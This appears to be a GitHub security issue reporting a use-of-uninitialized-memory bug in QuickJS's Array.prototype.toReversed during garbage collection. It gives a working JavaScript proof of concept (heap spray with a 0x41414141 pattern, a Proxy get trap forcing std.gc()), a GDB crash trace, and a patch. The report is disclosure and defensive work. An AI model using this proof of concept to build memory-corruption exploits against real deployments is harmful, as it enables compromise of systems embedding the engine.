-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Description
The bug
Array.prototype.toReversed allocates its result array via js_allocate_fast_array(ctx, len), which explicitly warns: "the content of the array is not initialized." In addition, js_allocate_fast_array() sets p->u.array.count = len for the new array, so GC will believe there are len elements even though the backing store has not been initialized yet.
When calling js_array_toReversed on a Proxy-wrapped array, property reads performed by JS_TryGetPropertyInt64(ctx, obj, i, pval) invoke the Proxy’s get trap. If a GC pass happens while the get trap is running, the newly allocated result array can still have uninitialized slots in its fast-array backing store. During GC, QuickJS will traverse (or "mark") array elements by iterating p->u.array.count; if that count reflects the full length while the backing store is not yet fully written, GC may interpret leftover bytes as JSValues and follow attacker-controlled garbage as if it were a real pointer.
For demonstration, we allocate an ArrayBuffer and fill it with a recognizable pattern (0x41414141...). Then we drop references to it so the buffer can be freed and its memory potentially reused by later allocations. Next, inside the get trap of a Proxy-wrapped array, we trigger a GC pass via std.gc() (used here for PoC determinism; the GC can also be triggered via allocation pressure). If the result array’s backing store is allocated from the same region and remains uninitialized when GC starts, GC can end up calling gc_decref_child (via js_array_mark) with an attacker-controlled "pointer", leading to a crash.
for (; i >= 0; i--, pval++) {
if (-1 == JS_TryGetPropertyInt64(ctx, obj, i, pval)) {
// Exception; initialize remaining elements.
for (; i >= 0; i--, pval++)
*pval = JS_UNDEFINED;
goto exception;
}
}The core issue is the window between allocating the fast array backing store and writing valid JSValues into every slot. If GC runs in that window, js_array_mark may iterate over a count that includes uninitialized entries.
Here is a PoC (run with qjs --std or qjs-debug --std so std.gc() exists):
let aux = new ArrayBuffer(0x200);
let dv_aux = new DataView(aux);
for (let i = 0; i < 0x200; i += 16) {
// Fill with an easily recognizable pattern.
dv_aux.setBigUint64(i, 0x41414141n, true);
dv_aux.setBigUint64(i + 8, 0xffffffffffffffffn, true);
}
dv_aux = null;
aux = null;
let handler = {
get(target, prop, receiver) {
console.log("get", prop);
if (prop === 'length') {
return 0x20;
}
if (prop != "toReversed" && prop != "length") {
console.log("calling gc");
std.gc();
console.log("gc done");
}
return Reflect.get(target, prop, receiver);
}
}
let arr = ["aaa"];
try {
arr = new Proxy(arr, handler);
arr.toReversed();
} catch(e) {
console.log("caught");
}Note: This does not crash an ASAN build on my setup, but below is a GDB backtrace from a non-ASAN build.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax: 0x000055555568adb0 -> 0x0000000041414141 ('AAAA'?)
$rbx: 0x000000000000001f
$rcx: 0x000055555556a680 <gc_decref_child> -> 0xc085068bfa1e0ff3
$rdx: 0xffffffffffffffff
$rsp: 0x00007fffffffb678 -> 0x000055555556752a <js_array_mark+0x3a> -> 0x72405d3b4101c383
$rbp: 0x00005555556662a0 -> 0x000055555556a190 <js_def_malloc> -> 0x83485355fa1e0ff3
$rsi: 0x0000000041414141 ('AAAA'?)
$rdi: 0x00005555556662a0 -> 0x000055555556a190 <js_def_malloc> -> 0x83485355fa1e0ff3
$rip: 0x000055555556a684 <gc_decref_child+0x4> -> 0xba486d7ec085068b
$r8 : 0x0000555555685050 -> 0x0000000000000000
$r9 : 0x0000000000000032
$r10: 0x0000000000000001
$r11: 0x0000000000000002
$r12: 0x000055555556a680 <gc_decref_child> -> 0xc085068bfa1e0ff3
$r13: 0x000055555568ae60 -> 0x00020d0000000001
$r14: 0x000055555556a680 <gc_decref_child> -> 0xc085068bfa1e0ff3
$r15: 0x0000555555666348 -> 0x000055555566f0f8 -> 0x000055555566e5e8 -> 0x0000555555689ac8 -> ...
$fs_base: 0x00007ffff7ea6740 -> [loop detected]
$gs_base: 0x0000000000000000
$eflags: 0x10202 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust parity carry] [Ring=3]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- stack ----
$rsp 0x7fffffffb678|+0x0000|+000: 0x000055555556752a <js_array_mark+0x3a> -> 0x72405d3b4101c383 <- retaddr[1]
0x7fffffffb680|+0x0008|+001: 0x0000555555666328 -> 0x000055555568ae68 -> 0x000055555568ae18 -> ...
0x7fffffffb688|+0x0010|+002: 0x000055555568ae68 -> 0x000055555568ae18 -> 0x0000555555687c78 -> ...
0x7fffffffb690|+0x0018|+003: 0x0000555555666328 -> 0x000055555568ae68 -> 0x000055555568ae18 -> ...
0x7fffffffb698|+0x0020|+004: 0x00005555556662a0 -> 0x000055555556a190 <js_def_malloc> -> 0x83485355fa1e0ff3 <- $rbp, $rdi
0x7fffffffb6a0|+0x0028|+005: 0x0000555555666328 -> 0x000055555568ae68 -> 0x000055555568ae18 -> ...
0x7fffffffb6a8|+0x0030|+006: 0x0000555555569738 <gc_decref+0x68> -> 0x8510fc4b80f8438b
0x7fffffffb6b0|+0x0038|+007: 0x00007ffff7e125c0 <_IO_2_1_stdout_> -> 0x00000000fbad2a84
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code: x86:64 (gdb-native) ----
0x55555556a671 e86ab3ffff <num_keys_cmp+0x91> call 0x5555555659e0 <__stack_chk_fail@plt>
0x55555556a676 662e0f1f840000000000 <NO_SYMBOL> cs nop WORD PTR [rax+rax*1+0x0]
0x55555556a680 f30f1efa <gc_decref_child> endbr64
-> 0x55555556a684 8b06 <gc_decref_child+0x4> mov eax, DWORD PTR [rsi]
0x55555556a686 85c0 <gc_decref_child+0x6> test eax, eax
0x55555556a688 7e6d <gc_decref_child+0x8> jle 0x55555556a6f7 <gc_decref_child+0x77>
0x55555556a68a 48ba0000000010000000 <gc_decref_child+0xa> movabs rdx, 0x1000000000
0x55555556a694 83e801 <gc_decref_child+0x14> sub eax, 0x1
0x55555556a697 8906 <gc_decref_child+0x17> mov DWORD PTR [rsi], eax
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- memory access: $rsi = 0x41414141 ----
[!] Cannot access memory at address 0x41414141
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- source: quickjs.c+6273 ----
6268 }
6269 }
6270
6271 static void gc_decref_child(JSRuntime *rt, JSGCObjectHeader *p)
6272 {
->6273 assert(p->ref_count > 0);
6274 p->ref_count--;
6275 if (p->ref_count == 0 && p->mark == 1) {
6276 list_del(&p->link);
6277 list_add_tail(&p->link, &rt->tmp_obj_list);
6278 }
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ threads ----
[*Thread Id:1, tid:3588871] Name: "qjs", stopped at 0x55555556a684 <gc_decref_child+0x4>, reason: SIGSEGV
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- trace ----
[*#0] 0x55555556a684 <gc_decref_child+0x4>
[ #1] 0x55555556752a <js_array_mark+0x3a> (frame name: JS_MarkValue)
[ #2] 0x55555556752a <js_array_mark+0x3a>
[ #3] 0x555555569738 <gc_decref+0x68>
[ #4] 0x55555558b0d5 <JS_RunGC+0x15> (frame name: JS_RunGCInternal)
[ #5] 0x55555558b0d5 <JS_RunGC+0x15>
[ #6] 0x555555621c15 <js_std_gc+0x15>
[ #7] 0x5555555bca6e <js_call_c_function+0x15e>
[ #8] 0x55555557717d <JS_CallInternal+0x8cd>
[ #9] 0x55555557757b <JS_CallInternal+0xccb>
[...]
Mitigation
A simple mitigation is to ensure p->u.array.count reflects the number of initialized elements while the backing store is being filled. That way, js_array_mark will only traverse initialized slots if a GC pass occurs mid-construction.
static JSValue js_array_toReversed(JSContext *ctx, JSValueConst this_val,
int argc, JSValueConst *argv)
{
JSValue arr, obj, ret, *arrp, *pval;
JSObject *p;
int64_t i, len;
uint32_t count32;
ret = JS_EXCEPTION;
arr = JS_UNDEFINED;
obj = JS_ToObject(ctx, this_val);
if (js_get_length64(ctx, &len, obj))
goto exception;
arr = js_allocate_fast_array(ctx, len);
if (JS_IsException(arr))
goto exception;
if (len > 0) {
p = JS_VALUE_GET_OBJ(arr);
p->u.array.count = 0; // PATCH
i = len - 1;
pval = p->u.array.u.values;
if (js_get_fast_array(ctx, obj, &arrp, &count32) && count32 == len) {
for (; i >= 0; i--, pval++) {
*pval = JS_DupValue(ctx, arrp[i]);
p->u.array.count++; // PATCH
}
} else {
// Query order is observable; test262 expects descending order.
for (; i >= 0; i--, pval++) {
if (-1 == JS_TryGetPropertyInt64(ctx, obj, i, pval)) {
// Exception; initialize remaining elements.
for (; i >= 0; i--, pval++) {
*pval = JS_UNDEFINED;
p->u.array.count++; // PATCH
}
goto exception;
}
p->u.array.count++; // PATCH
}
}
if (JS_SetProperty(ctx, arr, JS_ATOM_length, JS_NewInt64(ctx, len)) < 0)
goto exception;
}
ret = arr;
arr = JS_UNDEFINED;
exception:
JS_FreeValue(ctx, arr);
JS_FreeValue(ctx, obj);
return ret;
}Impact
Use of uninitialized memory during GC traversal may enable memory corruption primitives (e.g., treating attacker-controlled bytes as a JSGCObjectHeader * and mutating its fields) depending on heap layout and mitigations. Further exploitability (including code execution) would require additional work and is not claimed here, but this bug does open the door to such possibilities. For example, having a heap address leak could enable faking a pointer to a valid object.
Reporter credit: mcsky23 (Vlad Ionut Seba)